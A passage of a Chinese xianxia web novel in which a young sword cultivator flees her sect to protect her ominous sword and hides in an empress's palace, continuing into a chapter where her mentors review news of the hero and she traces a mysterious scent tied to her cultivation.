  十万大山面临危局时,宝剑自行现身护主。洛芸茵始终难觅自己的天命之剑,得剑之后本就万分珍惜,此刻更加不舍。
  既是天命之剑,便与自己性命交关。剑修一生只修一剑,洛芸茵自幼修行的心里,隐隐觉得岂能因旁人三言两语,就把天命之剑交出去的道理?何况剑修修行,一往无前,正要破除万难,又怎会因为宝剑的过往,就随手放弃的道理?
  「二宗主!」白光缠绕着宝剑,洛芸茵俏脸煞白,只略怔了怔,伸手从白光空隙里紧握剑柄,道:「这是弟子的……天命之剑。」
  「撒手!」李玄一原本不悦,此刻勃然大怒,道:「私藏宝剑,当废去修为逐出宗门,本座念你年幼无知暂且饶过,你竟敢抗命?」
  「这是弟子的……天命之剑!」洛芸茵手一紧,见拉扯不动宝剑,毅然张开双臂欲搂住宝剑,以身护剑。
  白光看着柔和,实则都是锋锐的剑气,洛芸茵年岁尚幼,哪里抵挡得住天机高人的剑气?眼看就是四分五裂,香消玉殒的下场。右首莲花座上射下一道青华柔光如水,缠绕住白丝。
  「师兄,且慢。」
  「七师妹,你要公然护短?」
  「此事我已知晓,是我让茵儿隐瞒,师兄若要治罪,我一力承担。」洛湘瑶飘下剑莲,跪下道:「请宗主治罪。」
  「为何?」宗主睁眼,目光闪烁不定。
  「天命之剑,需忠贞不二,以性命守护。每位弟子寻剑时,都会在宗门第一条门规之下立誓。茵儿早已立过誓!在执剑湖底,此剑得剑心认可,成为茵儿的天命之剑,若有违,岂不是违反第一条门规?」
  「嗯。」宗主极淡地回应,不置可否。
  「碎玉璇玑虽大凶,亦是……」
  「住口!」李玄一喝声打断,终于一软道:「七师妹,你当知道这柄剑……
  本座同样是为了茵儿好。」
  「师兄,小妹知道。」洛湘瑶抬头直视李玄一,道:「可万物有灵,万事有道。有些事情,不是为了好,或是不好。只为不好就把性命交关的宝剑交出去,又何必修剑?」
  「你……请宗主定夺。」李玄一闭上双目落座,状似对此事不再过问。
  「茵儿,本座且问你。」
  「请宗主吩咐。」
  「其一,此剑无情,昔年曾弑主,你可愿?」
  「我……弟子……」
  洛芸茵心绪纷杂,不知如何应答。弑主?她和宝剑相处虽不长,颇觉投缘,心中珍爱。在十万大山时宝剑自行护主,又何来弑主之说?但大宗主言出法随,断无妄言。
  「其二,此剑大凶,便不弑主,亦会为你带来无穷灾祸,你可愿?」
  洛芸茵紧了紧怀中宝剑,小小的心灵里,实不知会为自己带来怎样的灾祸。
  「其三,此剑不祥,将来,害你,害你娘亲,害剑湖宗万年基业,你可愿?」
  「弟子……弟子……」几番话如晴天霹雳,洛芸茵惊诧万分,怀中的宝剑明明与自己性命交关,可为何在大宗主口中,却如洪荒灾兽。
  「既不知,把剑交来,罪责不追究。」
  大宗主摊开手掌。宗主亲令,摊手并未用上任何功法,可洛芸茵却倒退两步。
  她脑中一片混沌,却死死抱着宝剑,半点不愿放手。
  「交剑!」李玄一睁眼断喝一声,却见洛芸茵珠泪成串,茫然地摇头。
  「收了此剑。」大宗主见洛芸茵冥顽不灵,衣袖一拂,摊开的手掌拢入衣袖内。
  李玄一手中生出银丝万万千千,化作剑网向碎玉璇玑罩下。洛芸茵踉跄倒退两步,忽而想起幼时母亲的谆谆教诲,拼尽全力娇声道:「宗主,剑道在心不在器!」
  「眼高于顶!」李玄一斥责着,剑网已罩住宝剑。
  「不。」
  即使是历世不多的少男少女,遇到紧要事的最后关头,亦会下定决心。没有来由,没有什么道理,就是一个我想,或是我不想。——越是少年男女,越会在此时不管不顾,不计较一切后果。
  洛芸茵纵身向后,竟脱出李玄一的剑网。剑网如影随形,在李玄一的怒斥声中席卷而来,避无可避。
  「茵儿,不可放肆。」洛湘瑶面色丕变,挡在剑网前,指尖弹出一缕剑光去拿爱女。
  「娘,这是我的剑!」洛芸茵一念既起,更觉护住宝剑的意头不可撼动,转身就向剑湖宫外奔去。
  地面方砖碎裂如水柱般升起,凝成条条冰龙,张开巨口向洛芸茵吞来。少女情知无法幸免,双目一闭,闷头朝前冲去。怀中宝剑感知主人心意,自行从剑鞘中飞出!
  「啊!」洛芸茵一惊之下猛然睁开醉星目。只见碎玉璇玑经由金色光芒相连的七瓣剑身裂解,悬于头顶,自行结成少女精修的星斗剑阵。
  剑阵摇动紫色毫光,冰龙被毫光一射竟不敢动。
  「这是……」剑身裂解后仅七片,紫色毫光道道如令,煌煌天威。原本连接着碎刃的金气在紫色毫光中凝作一团,从剑莲座上望去,如一颗内金外紫的明星。
  洛芸茵见冰龙顿住,再不迟疑,三两步奔出剑湖宫,化作一道剑光向北电射而去。
  罡风凌冽,少女凄凄惶惶,心中满是后怕与彷徨。此举等同于叛出宗门,可当碎刃重又聚回宝剑回到她怀里时,却觉分外地不舍与踏实。洛芸茵定了定神,唯恐宗门有人来追,疾向北方飞去。
  直飞了七天七夜,身后并无追兵。洛芸茵心下稍定,眼见越飞越北,越发寒冷,连空气中含着冰珠。洛芸茵扶摇直上,穿透云层。
  千里冰云的尽头忽起千仞绝壁,九道寒瀑自天际垂落云端,却在半空凝成倒悬的冰棱如林。罡风掠过时冰棱相击,发出玉磬般的清越声响,惊起栖息在冰隙间的玄羽冰鸮。冰鸮振翅,片片细碎的日华结晶从玄羽上抖落。
  冰瀑顶端矗立着一座仙宫,远远望去无边无际。仙宫旁纷纷扬扬的落雪定在半空,仿佛时光在此定格。
  洛芸茵飞至宫门长长的阶级前踉跄落下,双膝一跪。仙宫门打开,一名童子居高临下扫视,道:「你且候着。」
  宫门关闭,袅袅无音,不知过了多久,宫门再未打开,只传来童子的声音道:
  「你走吧。」
  洛芸茵苦候良久,这一刻再忍不住珠泪,却死死止着哭音,无声地饮泣。少女哽了哽咽喉,断然起身抹开在俏脸上结冰的珠泪,转身看明了方位,向洛城飞去……
  「后来,我就去洛城找你们啦。柳姐姐还在闭关,六位前辈说你在京城当了将军。我住了几日气闷,柳姐姐闭关还不知要多少时日,就来找你,管前辈还特地一路将我送到这里才返回。」洛芸茵鼓着香腮,至今愤愤不平,道:「哪知道你在宫里,我不能擅闯皇宫,听闻近日科考,正巧看热闹就见到了你。你们可答应过不说出去,千万别想赶我回去啊,我不回去!」
  三人面面相觑。洛芸茵当然没把事情全说出来,可光是违反宗门之令,还私自逃出的事情,就已足够骇人。
  齐开阳抹了把冷汗,道:「我肯定不说。」主意是打定了,心中还是直打鼓,剑湖宗这种庞然大物,随手就将自己粉身碎骨,真要怪罪下来,自己是无论如何担待不起。
  「那就好。总之跟你无关,我只是来找你玩,真有什么事,我自己担着。」
  前些日子满腔怨气,今日一吐实情之后,稍有纾解。可少女说着说着,眼圈儿还是红了。
  「宗门也是为你好,多半不会怎么责罚你。」阴素凝宽慰一句,又好奇地瞟着她的法囊,道:「碎玉璇玑?弑主,大凶,不祥之剑?」
  「我不知道。」洛芸茵摇了摇头,瞪着齐开阳道:「都怪你!」
  「哈?跟我有什么关系?」齐开阳叫起屈来,简直莫名其妙。
  「就怪你,赖皮狗!」洛芸茵心中委屈,狠狠白了齐开阳一眼,道:「回头单独找你算账!」
  「不是……我……」齐开阳瞠目结舌,想起初见宝剑时,的确有熟悉之感,一时不知如何辩驳。
  「之前我看宝剑自行护主,分明是把通灵的好剑才是啊。」
  「当然是好剑。」少女一挺纤腰,似在为自己打气。想起在剑湖宫宝剑射住大阵,十分自豪,道:「就算它会引来什么灾祸,我愿意一起承担。」
  法囊之中似有生灵在突突跳动,力道轻微,洛芸茵仍感应得真切,宝剑似欲现身。洛芸茵忙轻拍法囊安抚,离宗已有一月余,藏匿着行迹,尚不知宗门是隐瞒下此事,还是正大肆搜寻自己。碎玉璇玑更是万万不敢在闹市中取出来。
  「好吧。那,洛姑娘,这事我们知道了,但是我们都不知道。」阴素凝很快有了计较敲定此事,道:「依前所言,洛姑娘来新郑找开阳玩耍,这段时日就在皇宫住下,我们一同回宫再说。」
  洛芸茵不能透露行踪,托她询问儒门熟人一事只得作罢。阴素凝又道:「状元郎,我观你修习浩然正气,可是儒门出身?」
  「回禀皇后娘娘,学生的确儒门出身,但自幼随恩师独修,不识儒门同窗。」
  「唉,可惜。」阴素凝叹了口气,起身来到轩窗旁独立良久,道:「罢了吧,没人问,我们再想办法就是。」
  卓亦常看向齐开阳,见义兄面色凝重,看着窗边有些楚楚可怜的阴素凝露出几许怜惜之色,心觉异样,道:「二哥。」
  「知道你要问什么。」齐开阳将入朝之后所见所闻所感一一说完,道:「娘娘参与朝政,迫不得已,你当娘娘喜欢操心这些事情呢?就我所见,若不是娘娘苦撑着,大宋国边疆早就不保,等着国土一片片沦陷就是。柯太师这个人,我说不上来,他待人没什么架子,对皇帝也是苦口婆心。但是这种做法,我不以为然。
  柯太师知道做法欠妥么?我觉得他知道,但他还是一样。适得其反的做法居然乐此不疲?总之,我觉得他没什么好心眼。」
  「小弟心中有数,若是儒门出了败类,小弟不会任他危害朝堂。」
  「儒门举荐,未必是儒门出身,从前可没听说过这号人物。」阴素凝回眸一笑,道:「我们走吧,回宫去。状元郎,早点安歇,游街还得两日,有得你累的。」
  「学生深蒙陛下恩典,不敢有怨。」
  「一板一眼,倒也不错。」阴素凝指了指齐开阳道:「可不像你没个正型,食君之禄,没半点感恩之心,走了啦!洛姑娘,我们走。」
  卓亦常心中奇怪,二哥本就是方外之人,呆在新郑多半是看阴素凝的面子留下相帮,跟食君之禄没半点关系。怎地阴素凝一句话说得二哥嘿嘿赔笑,好像真有些心亏。
  趁夜色回到皇宫。洛芸茵第一次进入禁宫,满是好奇。仙宫固然美轮美奂,却比不得这里的雕梁画栋,极尽奢靡。
  三人快步进入延宁宫,齐开阳关上宫门。  「皇后娘娘,这里就是你的寝宫?」洛芸茵左瞧右看,第一回入住人间豪宅,
  见一切用度皆是凡品,不入她眼,唯独花草吸引了目光。人间的花草不像仙葩瑶草经年不凋,熠熠生辉。可四时生衰,却更有生命力的光辉。少女想起自己芸茵的名字,伸手抚着一丛茵草。
  「是呀,这段日子就委屈你在这里做个侍女吧。」阴素凝揶揄笑道。
  「可以可以,人家不嫌,侍女每日要做什么来着?」洛芸茵孤苦伶仃了月余,故人重逢,且待她一片真诚,心里暖洋洋的,激动之下不觉做侍女有什么作践自己,还觉十分新奇有趣。
  「端茶送水,伺候起居,烧沐浴的香汤……」阴素凝说了一大通,直把洛芸茵说得目瞪口呆。
  「要,要怎么做?」剑湖五奇之一,天赋之高在修士中都是翘楚,修炼的功法都可过目不忘。偏这几句话将少女说得脑筋打结,听了后一句,就忘了前一句。
  「哎哟我的大小姐,逗你玩儿的,哪会让你做这些?」阴素凝携着洛芸茵的手步入寝宫,道:「你就安心在这里呆着,不要乱跑就行,我这里没旁人。」
  「不是说人间帝皇家富贵荣华,皇后娘娘怎会没有仆人侍女。」洛芸茵甚是不信,道:「就算要自己照顾自己,被人看见岂不是要生疑?」
  「这不有他嘛。」阴素凝吃吃笑道,朝齐开阳呶了呶嘴。
  「好好好,我来伺候。」齐开阳大喇喇地坐下,像回了自己家。
  「他?他也住这里?」洛芸茵惊诧非常,刚清明了的脑子又觉得乱了。
  「对呀,他是我的贴身护卫,我修行的时候不得帮我护法?不住这里住哪里?」
  洛芸茵香唇颤了颤,隐隐觉得不甚妥当,又无话辩驳。
  只听阴素凝道:「我这里每日上午都有朝臣来拜,洛姑娘就藏好了不要出来,其余时候就我们三人。修行的话,搬运周天什么的都不打紧,可千万别舞弄宝剑。
  到时候剑气纵横,把皇宫里的人都吓坏了。走,我领你转转,看上哪个房间,就住哪个。」
  二女携手出门,约莫半个时辰,阴素凝独自回转。
  「住下了?」
  齐开阳闻声把着门框掩门。阴素凝本在沉思,忽然出手按在门框上,反向一掀。齐开阳猝不及防,手上本能地加力终究不及,门框被阴素凝夺了过去。
  「做什么?」
  「有没有觉得洛姑娘说的,好有些蹊跷。」阴素凝伸指在门框上弹了弹,似有明悟。掩上房门,依例展开法阵隔绝内外,道:「有心算无心,我都能从你手里夺下门框。剑湖宗的二宗主嗳,还能夺不下洛姑娘一柄剑?」
  「不错,我有同感。」齐开阳坐上凤塌,将阴素凝抱在双腿之间,道:「二宗主夺不下她的剑,还能让她冲破剑湖宫的法阵,无论如何都说不过去。我还没想明白是什么缘由,照说这柄剑如此灾凶,怎么可能轻易放她走脱。我先前在想,是不是洛姑娘的娘亲暗中出手相帮。」
  「必然如此。但是光靠洛宗主一个人不够,嗯,另有有心人。」
  「说说看。」齐开阳精神一振。论聪明才智,他不在皇后娘娘之下,但论世情见识就差得多了。
  「这事其实原本简单,你看,洛姑娘自己都说不清这柄剑有什么好。二宗主一出手就夺下来,洛姑娘大体就此作罢,哪还有后面的事?可是一把没夺下来,原本简单的事立刻变得复杂。」
  少年心性,齐开阳自己也有。以己推人,当时宝剑被夺,多半就是罢了。宗门抚养自己长大学艺,断不至于为了一柄剑就和宗门翻脸,跑出剑湖宫。
  齐开阳从小到大,每逢惹得大姐生气都会跑出去。没跑了挨顿揍也就完了,跑了出去,那一时半会儿绝对不敢回家。要么躲在卓家,要么躲进山里,总得等大姐的气消。要是大姐担心出门来找就再好不过,多半是已原谅了自己,事情就这么过了。
  齐开阳频频点头,阴素凝道:「我有个大胆的想法,你说,这位二宗主有没有可能是故意的?他就是要把事情变复杂,闹得不可收场?」
  齐开阳自家师门相亲相爱,换了半年前,他绝对不信还有这等事。可在朝中见多了尔虞我诈,人心难测,齐开阳疑云密布:「你的意思是,这位二宗主算计洛姑娘?」
  「你要是单问这件事情呢,我就说得有个三四成。你要是我本人怎么看呢,我就要说至少八成。」
  看来阴素凝的无欲仙宫这类事不少,她的性子与人前假面正是自小在这样的环境中养成。齐开阳敲了敲手指,道:「好吧,你的推论都很有理。唯有一点,一柄剑会为宗门带来什么灾祸?若确有此事,还可稍稍说得过去,否则,说不通,说不通。」
  「我方才问了一件事,洛姑娘告诉我了。」阴素凝侧身捧着齐开阳的脸颊,深深凝视着他道:「剑,她从剑湖得来。剑湖宗的弟子都从湖底得剑,没什么稀奇。不同的是,洛姑娘苦盼自己的天命之剑多年一无所得。她上回出山,途中和你打了一架,回宗门之后,【碎玉璇玑】自行寻来认主。这柄剑碎成七瓣,将碎刃连在一起的,就是你们争斗的时候,残留在她身上的真元。这些话,洛姑娘当然是有意说给我听,转告你知晓。」
  「八九玄功?」齐开阳嘴唇一颤,难怪初见宝剑时有熟悉之感。可若说仅是那点真元,又不太像。
  阴素凝闭目深吸了一口气,缓缓吐出,绵软而极具弹性的乳房抵在齐开阳胸口,一挺,一缩,销魂蚀骨。皇后娘娘睁目凝视情郎片刻,倚在他肩头道:「是啊,八九玄功。」边说着,边收束藕臂,将情郎搂得更紧。
  齐开阳不明所以,却能深深地感受到阴素凝的忧虑。这种忧虑和从前她担忧无欲仙宫,担忧她自己未来的命运完全不同。这种忧虑更深,深得完全不像是为了她自己。
  「你有话想对我说?」
  「有很多话想说,但是我不能说,不该由我来说。」
  「听你的意思,碎玉璇玑经由我的八九玄功相连,这柄剑未来可能给剑湖宗带去灾祸?」
  阴素凝呼吸重了起来,一口一口的香风喷在齐开阳脖侧,少年淡然道:「一柄剑再厉害,终究是一柄剑。想带去灾祸,要么是使用这柄剑的人,要么,是这柄剑不该存于世上?洛姑娘天真烂漫,总不会是忘恩负义的恶人。那,到底是这柄剑不该存于世上,还是将其相连的八九玄功不该存于世上呢……」
  出山后见得多了,齐开阳从所得的那些只言片语里,逐渐寻得脉络。那些碎片被砸得稀烂,可每一项莫不是惊天动地的大秘密。连接起来,足以让天机高人胆寒,何况小小的齐开阳?
  两人久久沉默,待阴素凝再度起身凝视齐开阳,颤抖着声音而缓缓道:「总之你记得,我会永远站在你身边。」
  「我也会。」齐开阳咧嘴一笑,露出森森白牙。少年的忧愁,来得快,去得也快,纵有天大难题,都比不过眼前的美色诱惑。
  「还想等你救我出苦海,没想到,这个坑还没出呢,又跳进一个更深的坑里!」
  阴素凝嘟嘟囔囔地幽怨数落,声音越来越低,烛影摇曳之下,越发黯淡……
  来到森严的皇宫,洛芸茵的心异常安宁。这里有皇气庇佑,等闲修者不敢冒犯,就算是大宗主来了,一样不能擅闯。幸亏有阴素凝和齐开阳。
  一路的胆战心惊,唯有此刻才得平实。
  随皇后娘娘逛了许久,偌大的寝宫空荡荡的,宫女们都不知被阴素凝赶到了哪里。
  这是一间六尺见方的窄室,挤着四张榆木榻,榻腿用青砖垫得一般高矮。最显贵气的唯门后挂的那盏羊角宫灯,琉璃罩上裂痕用米浆补过,灯油用的却是正经的南海鲛脂。
  窗棂正对着明月,糊的桑皮纸有些厚实,让透进来的月华带着光晕。洛芸茵甚爱这一点,就择了此间。至于宫女的用度局促,洛芸茵是修道之人,不敢忘本,也不在意。
  「谢谢你们啦,素素姑娘,赖皮狗。」洛芸茵自语一句,俏脸一红。
  她年少成名,又是天姿绝色,交游并不少,钦慕他的公子哥儿不知凡几,可每一处都不能容她安身。奔往北面时就想过无数回,最终觉得还是只有齐开阳与柳霜绫才会暂时收留自己。
  来到皇城心中惴惴,若齐开阳不肯,只好再返回洛城柳家藏匿。后路早已想好,可心里总觉得齐开阳不会赶自己走,更不会把自己的行踪透露给宗门。回洛城沿途,在十万大山血战,少年的勇敢坚强,英武不屈无不深深地刻在脑海。
  幸好齐开阳真的没有赶自己走,洛芸茵竟生出庆幸与一点羞意。和柳霜绫甚是投缘,相处时情同姐妹。可相比起来,少女竟觉自己更喜欢与齐开阳呆在一起。
  可比起齐开阳战斗时的英姿,此刻洛芸茵冒出的念头,却是指尖般小小的一片胸乳肌肤。念头刚起,就觉这一片在发热。  甩甩脑袋驱散杂念,洛芸茵从法囊中取出【碎玉璇玑】。逃出剑湖宫后,宝剑还是第一回重见天日。金色的真元连接着七片碎刃,剑锷如一双眼睛,平实而深邃地看着主人。洛芸茵张臂怀抱宝剑,剑身冰凉,金光温暖。少女心中五味杂陈,梦呓般道:「能不能告诉我,他们说的,是不是真的?」
  剑灵时常的戏谑,好奇与期待全都消失不见,只静静地躺在少女温软的怀里。
  「娘亲不会害我。她要我收你做天命之剑,若你真的弑主,不祥,娘亲为何要这么做?」少女喃喃自语,不觉泪湿双颊,道:「你既救我,今后为何要害我?」
  剑灵不语,只金气闪烁着淡淡的光芒。少女平息了心头不安,叹息一声,玉掌一张,宝剑悬空倒立,在昏黄的烛火之下,仍如登高山而望深渊。
  得剑之后,便是生死相依的伙伴。洛芸茵修行时,都要与剑同修。在剑湖宗里,只敢躲在娘亲修行的密室之中。来了皇宫之后,竟和在娘亲的羽翼之下一样安宁。
  逃出剑湖宫后再未修行过,耽搁了许多,洛芸茵凝神静气地入定,凭借金光与宝剑心神相连,搬运周天。
  七瓣碎刃状同七星,忽明忽暗。真元自少女足底涌泉起,沿着经脉向丹田蜿蜒而行,周天星斗大阵在体内的五脏六腑里自然成型。真气汇入丹田,正欲行功向头顶百会时,功法忽然一窒。洛芸茵愕然睁眼,只见宝剑上连接碎刃的金芒原本自剑锷流向剑尖,此刻竟然倒转着升起。
  「它在干扰我运转功法,还是……」洛芸茵惊疑不定中,只觉真气倒转,从丹田又流向足底涌泉。少女大骇,真元逆行,轻则爆体而亡,重则魂飞魄散。
  她刚想止住功法,碎玉璇玑上碎瓣亮起,引动洛芸茵体内星斗大阵。可南北二斗方位变换,全然已逆。少女一身香汗淋漓,暗暗叫苦,难道这就是碎玉璇玑的凶性?它要弑主?  并非第一回与宝剑同修,搬运周天。往日它从不干扰自己的功法运转,今日为何这般霸道?且这份威能,竟非自己能够抵抗。星斗大阵在碎玉璇玑的引动下,在体内倒转。洛芸茵嘤嘤喘息,体内诸条经脉与丹田压力大得前所未有,隐隐有无法承受,爆体的征兆。
  洛芸茵红扑扑的俏脸上泛起血丝脉络,露出极痛苦的神色时,宝剑上连接碎刃的金芒一闪!洛芸茵只觉自舌尖涌入一股暖流,在十万大山刚苏醒时那股腥气涌起,顺喉而下直入丹田。
  周天倒转,腥气的注入却让丹田的一片混沌变得清明。倒转的星斗大阵生出剑意,洛芸茵重觅一线生机,忙聚神内视,那星斗大阵与体内的金芒交融成一片,舌尖腥气融入,金芒比从前粗壮了近倍。
  「混沌剑气?」洛芸茵心中狂呼,内视之中,只见星斗大阵剑气纵横,倒转逆行之下,南北二斗方位不住变换。
  「南斗主生?北斗注死?南北逆转,生死无常?」倒转逆行的真元,竟在南北二斗之下达成极微妙与短暂的平衡。洛芸茵天赋奇高,一瞬间便悟得宝剑之意,「碎玉璇玑引导我体悟的,是生死轮转间刹那的平衡?」
  隐隐约约触到大道的边缘,洛芸茵还待再贪看片刻,金芒支撑不住地开始消散,南北二斗各归其位,功法的逆转运行亦同时消失。
  洛芸茵将真元搬运一周天汇入丹田,忙睁开眼来。碎玉璇玑剑身上现出斑斑裂痕,连相连的金光亦若隐若现,似受了重创般奄奄一息,似乎残存的一点灵光随时都会溃散。
  洛芸茵大急地抱住宝剑,这才见到斑驳受损的剑身上落下一块残屑。宝剑虽布满裂痕,却并未有剑身碎落,这片残屑并非碎玉璇玑身上脱落。少女打了个激灵,玉掌托起注入真元,残屑发出与母亲剑歌的共鸣。
  「星斗挂南枝,青鸟展翼时。」

女神的超级赘婿
黑夜的瞳
我遵循母亲的遗言,装成废物去给别人做上门女婿,为期三年。 现在,三年时间结束了...

风雨无阻 / 发表于: 2025/08/15 10:20:39

第九章:木瓜琼琚
  自从齐开阳离开之后,曲寒山比往日忙碌了许多。
  狌狌们每日忙里忙外地奔走相告,七日一汇总,在道观中咿咿呀呀地指手画脚,手头的事情仿佛永远做不完。即使是这样,楚明琅常嫌太慢,时不时就要发点脾气。
  齐开阳在的时候,楚明琅有什么心事都不用藏着掖着,挑点小弟的毛病就能理所当然地发作一通。齐开阳不在山上,少女的脾气只好按捺下来,只得蹙眉嘟嘴,一脸不郁。狌狌见了都嬉皮笑脸,吱吱喳喳说些连慕清梦都听不懂的暗语。
  像在嘲弄,又像在取笑。
  玄鹤童子在千沟万壑崖上上下下地飞腾,终日不停。龟玄真化作一人大小,在崖前伸出长长的脖子,不知在张望着什么。獬豸在林中踱步,不停地低语,若靠得近了,就会听见无数圣贤真言在它口中反反复复地吟诵……只有余真君雷打不动地在崖前酣睡,偶尔眯开一只眼睛转转,复又睡去。
  慕清梦离山一趟,三言两语解了洛城之危,回山后便不再露面,独自在道观的厢房中不知忙些什么。楚明琅未曾跟去,问余真君不答,只得从狌狌口中知晓事情经过。
  两位高人亲自出手,齐开阳有惊无险,楚明琅当然放心。柳霜绫历经紫府神雷的考验而不弃,与齐开阳合体同修是必然之事。她心中泛酸,亦能接受。急的是这一次恩师与余真君人前显圣,往日林林总总牵扯不清,下一步要作何安排?
  只放齐开阳一人在尘世间,群狼环伺,危机重重,楚明琅心焦万分。
  这一日,又到了狌狌们将世间诸事汇总呈报之时。楚明琅在道观前厅,听得分外认真。狌狌们说起十万大山里发生的一切——先前只知有此事,花费了异兽们好些心力,才搞明事情原委。
  正说到齐开阳与阴素凝踏入十万大山,遭逢界域,后院传来脚步声。
  慕清梦久未现身,听得此事,落座后单掌支颌,饶有兴致地倾听。
  被界域隔绝,狌狌们只能管中窥豹,将各大宗门的只言片语收集整理,说个大概。
  「风二娘?银发女子?楚地阁说她魂灯熄灭,已然身陨?这……」楚明琅听完,发愣地眨着大大的电眼。
  「是凤栖烟吧?哼。」慕清梦听到这里,撇了撇嘴。她典雅端庄的独有气质在这一刻加上了目光迷离羞恼,含睇宜笑,迷人得倾国倾城。
  「是她么?」
  「九成九是!」慕清梦翻了翻春波目,哼道:「凤宿云一定告诉她,我看她十有八九忍不住要亲眼看一看。亏得肯放下架子,扮作个什么楚地阁弟子,好笑。
  改天再碰上,非得羞一羞她。」
  「师傅,十万大山这事情,您看?」
  「那么多宗门弟子死伤,开阳毫发无损只是晕去,多半是什么邪祟。」慕清梦道:「凤栖烟既以身入局,事后必定遮蔽天机。但是这股邪祟非同小可,她不敢隐瞒,不久后就会昭告天下,不忙。」
  「是。」楚明琅此时不见急迫,若是邪祟作怪,齐开阳最是不惧。
  其后狌狌又报齐开阳近来行踪。禁宫里有皇气人望守护,狌狌不知全貌。这事倒让慕清梦频频点头,入朝旁听,连她都未曾预料过。细想之下,可比在世间漫无目的地到处乱逛,有一茬没一茬地碰上些事情强得多。有人的地方就有是非,是非最多的地方,莫过于朝堂。
  「阴素凝是大宋国当朝皇后,就是在安村的那位素素姑娘。」
  「哦~居然是当朝皇后?孤身去安村,奔着先天之炁去的?」
  「理应是的。弟子已命继续查一查她。皇后娘娘孤身跑到安村,想独吞先天之炁,目的不纯。」
  「你呀,不要因为开阳在皇城,你就恨不得把皇城都放过来每个都查清楚。
  都这样,谁能忙得过来?旁的事情不要做啦?」慕清梦笑骂道:「开阳自己长了眼睛,叫他自己去看清楚。懂得明辨是非,分别善恶,就算吃点亏有什么?右千牛卫齐中郎将?嘻嘻,有意思。继续说。」
  狌狌们一路说下去,直说到卓亦常考中双状元,齐开阳路遇洛芸茵。事情暂不明原因,只得搁置。其后狌狌们退去,楚明琅奉上一卷书册道:「这是近来村民们的进展所得。」
  慕清梦凝神坐起,肃穆地打开,一字一句都不愿意漏过……
  不知不觉间天边露出一线光,洛芸茵算了算,还未到朝臣们来谒见的时辰,便起身出门。
  是夜修行,碎玉璇玑助她倒转星斗,领悟生死玄机,之后宝剑黯淡失了光华。
  少女心事重重,担忧自家天命之剑从此神威不再,正不知该如何是好。
  漫无目的地踱着步,沿途暗自思量。宝剑初现时是七瓣碎刃,经由金气重组。
  此夜过后,金光若隐若现,像风中残烛忽明忽暗,随时都将熄灭。洛芸茵心中惴惴,唯恐金光若散去,宝剑又碎成七瓣。踱步间不停地翻开法囊,见宝剑静静躺在其中,虽光华黯淡,始终并未衰竭。犹自放不下心,行两步看一遍。
  若宝剑再这样下去,只好去求齐开阳借用他的功法试试。洛芸茵心中不安,这个口一方面着实不好意思开,谁都修行不易,平白无故要人千辛万苦修炼出来的真元。别说是自己,就算是道侣,是亲生父母都没这道理。何况这一回过了,
  下一回又出差池可怎么办?让齐开阳任自己予取予求么?另一方面自家的天命之剑,居然要靠旁人的功法来维持,今后的修行可怎生得了……
  细想间,又念及昨夜星斗倒转,真元逆行的生死轮转一刹那间,舌尖那股腥气平抑了自己爆体而亡的凶险。那股腥气,正是在十万大山昏迷醒来后感觉到。
  当时并不在意,长久昏迷之后醒来,谁都会觉得身上哪里都不对。何况当日在邪祟阴气中拼杀良久,也可能被邪祟侵染。
  过后即忘的事,居然在昨夜最危险的时候,发生不可思议的奇效。
  这股腥气又是哪里来的?若能取得,是不是能继续参悟生死轮转的大道之门?
  宝剑是不是能恢复如初?
  洛芸茵漫无目的地行走,来到延宁宫前院,阴素凝不着妆容,穿着件洁白的纱裙在前院分花拂草。
  「洛姑娘起啦?昨夜睡得可好?」修道人数日不休都是常事,但看洛芸茵醉星目里藏不住的心事,阴素凝不好刨根问底。
  「没睡呢。」洛芸茵露出个笑容,上前道:「皇后娘娘要起得那么早吗?」
  「他在用功,我就出来转转。」阴素凝朝寝宫一指,道:「你要不要去看看?」
  「不要了,在用功不要打扰人。」洛芸茵心觉奇怪,难道齐开阳晚间就在寝宫里彻夜?男女有别,还是皇后娘娘,状似不妥,正思虑间少女抽了抽鼻翼。
  一缕淡淡的味道,几近于无。若在平常,她根本不会在意。世间百味,有香有臭,有什么奇怪?何况味道极淡,不是修道中人敏锐的五感,根本察觉不到。
  可这股味道现下让她刻骨铭心,正是昨夜危急时刻主导了自家体内生死平衡的气味。
  洛芸茵一惊之下,醉星目圆睁,不管不顾地深嗅了几口,循着气味发现正是从阴素凝身上散发。
  「怎么啦?」少女皱着鼻翼抽吸的样子着实可爱,阴素凝笑问道。
  「你……不对……」洛芸茵已动用了真元,察觉除了阴素凝身上之外,还有一缕从寝宫中透出。她有些害羞道:「我能进去么?」
  刚说过不去打扰,又要进寝宫,少女有些害羞,但寻找气味的来源要紧,当下顾不得了。幸好阴素凝不以为意,道:「悄声些就好。」
  洛芸茵提起裙裾,碎步向寝宫行去。若能寻找腥气的来源,岂不是修行有望?
  她紧张得心口噗噗直跳,不知是否会大失所望,更想若是寻着了,皇后娘娘寝宫之物,未必讨要得到,该怎生开口……
  颤抖着小手轻轻推开门侧身闪入,洛芸茵顿觉腥气浓烈了几分。并不好闻的味道,嗅着却让少女觉得心慌意乱,如饮醇酒后的微醺似醉。
  齐开阳盘膝而坐,身上散发着淡淡的金光,真元随着金光流动几乎清晰可见。
  洛芸茵肃然,在皇后寝宫里修行,毫不避讳,这已是全身心的信任。回想在剑湖宗遭遇的一切,少女心中又觉凄然。
  寝宫之中散发的味道依然已近于无,但逃不过洛芸茵的敏锐。这股淡淡的味道,寝宫里有,阴素凝身上有,齐开阳身上也有。洛芸茵寻找之下,发觉根源还是在齐开阳身上。
  是什么东西?少女无意识地落座,怔怔地看着齐开阳,竭力找寻气味的来源。
  齐开阳入定醒来时,见一双美丽的醉星目正一眨不眨地看着自己,目光复杂。
  少年莫名其妙地低头看了看自己,没啥不妥当的地方,挠头道:「洛仙子?怎么啦?」说完不放心,又低头看了一遍。
  「啊……没有,看看你修行,从前我只看过娘亲修行。」洛芸茵意识到自己失态,忙别过目光,片刻后叹了一口气,道:「其实,我想来找你帮忙。」
  「能办得到,我尽量试试。」回洛城一途,洛芸茵帮了好大的忙。且抵达洛城后,面对东天池的压力之下,没有弃柳霜绫不顾,齐开阳一直很承她的情。
  「真……罢了,我随口说说的。」
  阴素凝跟在身后,洛芸茵的一举一动都看在眼里,正觉奇怪,就听齐开阳道:
  「是不是和碎玉璇玑有关?」
  阴素凝灵光一闪,道:「你们去洛姑娘房里谈吧,我这里一会儿要来人。」
  洛芸茵还在左右为难,齐开阳笑笑起身,道:「正好,我去看看洛姑娘挑选的厢房。」
